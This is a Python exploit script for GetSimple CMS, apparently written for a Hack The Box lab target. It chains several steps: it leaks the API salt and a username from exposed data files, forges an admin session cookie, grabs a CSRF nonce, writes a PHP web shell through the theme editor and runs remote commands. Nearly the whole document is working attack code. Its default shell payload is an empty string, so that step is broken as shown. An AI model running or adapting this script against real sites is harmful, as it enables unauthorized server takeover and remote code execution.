#!/usr/bin/env python3 import requests import hashlib import re import sys from urllib.parse import urljoin from bs4 import BeautifulSoup import warnings warnings.filterwarnings('ignore') class GetSimpleCMSExploit: def __init__(self, url, command="id"): self.url = url if url.startswith('http') else f"http://{url}" self.command = command self.session = requests.Session() self.session.verify = False def get_version(self): """Extract CMS version""" try: res = self.session.get(urljoin(self.url, '/admin/')) if res.status_code != 200: print("[-] Failed to get version") return None soup = BeautifulSoup(res.text, 'html.parser') script = soup.find('script', {'type': 'text/javascript'}) if script and script.get('src'): version = script['src'].split('?v=')[-1].replace('.', '') print(f"[+] Version found: {version}") return version return None except Exception as e: print(f"[-] Error getting version: {e}") return None def get_salt(self): """Extract API salt from authorization.xml""" try: res = self.session.get(urljoin(self.url, '/data/other/authorization.xml')) if res.status_code != 200: print("[-] Failed to get salt") return None soup = BeautifulSoup(res.text, 'xml') apikey = soup.find('apikey') if apikey: salt = apikey.text print(f"[+] Salt found: {salt}") return salt return None except Exception as e: print(f"[-] Error getting salt: {e}") return None def get_username(self): """Extract username from users directory""" try: res = self.session.get(urljoin(self.url, '/data/users/')) if res.status_code != 200: print("[-] Failed to get username") return None soup = BeautifulSoup(res.text, 'html.parser') for link in soup.find_all('a'): if link.text and '.xml' in link.text: username = link.text.replace('.xml', '') print(f"[+] Username found: {username}") return username return None except Exception as e: print(f"[-] Error getting username: {e}") return None def generate_cookie(self, version, salt, username): """Generate forged authentication cookie""" try: cookie_name = f"getsimple_cookie_{version}" sha_salt_usr = hashlib.sha1(f"{username}{salt}".encode()).hexdigest() sha_salt_cookie = hashlib.sha1(f"{cookie_name}{salt}".encode()).hexdigest() cookie = f"GS_ADMIN_USERNAME={username};{sha_salt_cookie}={sha_salt_usr}" print(f"[+] Cookie generated: {cookie[:50]}...") return cookie except Exception as e: print(f"[-] Error generating cookie: {e}") return None def get_nonce(self, cookie): """Get CSRF nonce""" try: headers = {'Cookie': cookie} res = self.session.get( urljoin(self.url, '/admin/theme-edit.php'), params={'t': 'Innovation', 'f': 'Default Template', 's': 'Edit'}, headers=headers ) soup = BeautifulSoup(res.text, 'html.parser') nonce_input = soup.find('input', {'id': 'nonce'}) if nonce_input: nonce = nonce_input.get('value') print(f"[+] Nonce found: {nonce}") return nonce return None except Exception as e: print(f"[-] Error getting nonce: {e}") return None def upload_shell(self, cookie, nonce, filename="shell.php", php_code=None): """Upload PHP shell""" try: if php_code is None: php_code = f"" headers = {'Cookie': cookie} data = { 'submitsave': '2', 'edited_file': filename, 'content': php_code, 'nonce': nonce } res = self.session.post( urljoin(self.url, '/admin/theme-edit.php'), data=data, headers=headers ) if res.status_code == 200: print(f"[+] Shell uploaded: {filename}") return True return False except Exception as e: print(f"[-] Error uploading shell: {e}") return False def execute_command(self, filename="shell.php"): """Execute command via shell""" try: shell_url = urljoin(self.url, f'/theme/{filename}') res = self.session.get(shell_url, params={'cmd': self.command}) if res.status_code == 200: print(f"[+] Command executed: {self.command}") print(f"[+] Result:\n{res.text}") return res.text return None except Exception as e: print(f"[-] Error executing command: {e}") return None def exploit(self): """Run full exploit chain""" print("[*] Starting GetSimpleCMS RCE exploit...") print(f"[*] Target: {self.url}") # Step 1: Get version version = self.get_version() if not version: print("[-] Exploit failed: Could not get version") return False # Step 2: Get salt salt = self.get_salt() if not salt: print("[-] Exploit failed: Could not get salt") return False # Step 3: Get username username = self.get_username() if not username: print("[-] Exploit failed: Could not get username") return False # Step 4: Generate cookie cookie = self.generate_cookie(version, salt, username) if not cookie: print("[-] Exploit failed: Could not generate cookie") return False # Step 5: Get nonce nonce = self.get_nonce(cookie) if not nonce: print("[-] Exploit failed: Could not get nonce") return False # Step 6: Upload shell if not self.upload_shell(cookie, nonce): print("[-] Exploit failed: Could not upload shell") return False # Step 7: Execute command self.execute_command() print("[+] Exploit completed successfully!") return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 exploit.py [command]") print("Example: python3 exploit.py gettingstarted.htb 'id'") print("Example: python3 exploit.py http://192.168.1.100 'whoami'") sys.exit(1) url = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" exploit = GetSimpleCMSExploit(url, command) exploit.exploit()